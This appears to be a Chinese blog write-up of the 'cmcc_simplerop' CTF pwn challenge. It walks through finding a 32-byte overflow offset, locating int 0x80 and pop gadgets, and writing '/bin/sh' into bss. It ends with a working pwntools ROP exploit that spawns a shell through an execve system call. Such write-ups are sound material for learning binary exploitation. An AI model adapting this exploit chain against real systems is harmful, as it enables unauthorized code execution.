cmcc_simplerop(系统调用)

check
file
32位,只开了NX

这里就直接溢出,read读100字节,但是这里的偏移并不是 0x14+4
file

输入构造的字符后,可以看到eip的值被改成了 iaaa

file

cyclic -l iaaa

file
偏移实际上为32

下一步看一下 int 0x80 的位置
file
这里找到是有 int 0x80 的,地址为 0x80493e1

构造系统调用需要的:
file
sys_execve 系统调用号为 11
参数设置为 int80(11,"/bin/sh",null,null)
依次的寄存器为:
eax = 11
ebx = '/bin/sh'
ecx = 0
edx = 0

file
这里两条合起来恰好够用

而题目里面是没有'/bin/sh'的
file

所有又得写进去,函数里有 read 可以进行调用,read(0,&buf,8)
file

这题没开pie,所以可以直接写到 bss 去。
file

EXP:

from pwn import *
p = process('./pwn')
context.log_level = 'debug'

int_addr = 0x080493e1
pop_eax = 0x080bae06
read_addr= 0x0806CD50
binsh_addr = 0x080EB2AC
pop_edx_ecx_ebx = 0x0806e850
payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)

p.sendline(payload)
p.send('/bin/sh\x00') #调用read,需要再次发送一下字符串
p.interactive()
p.close()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据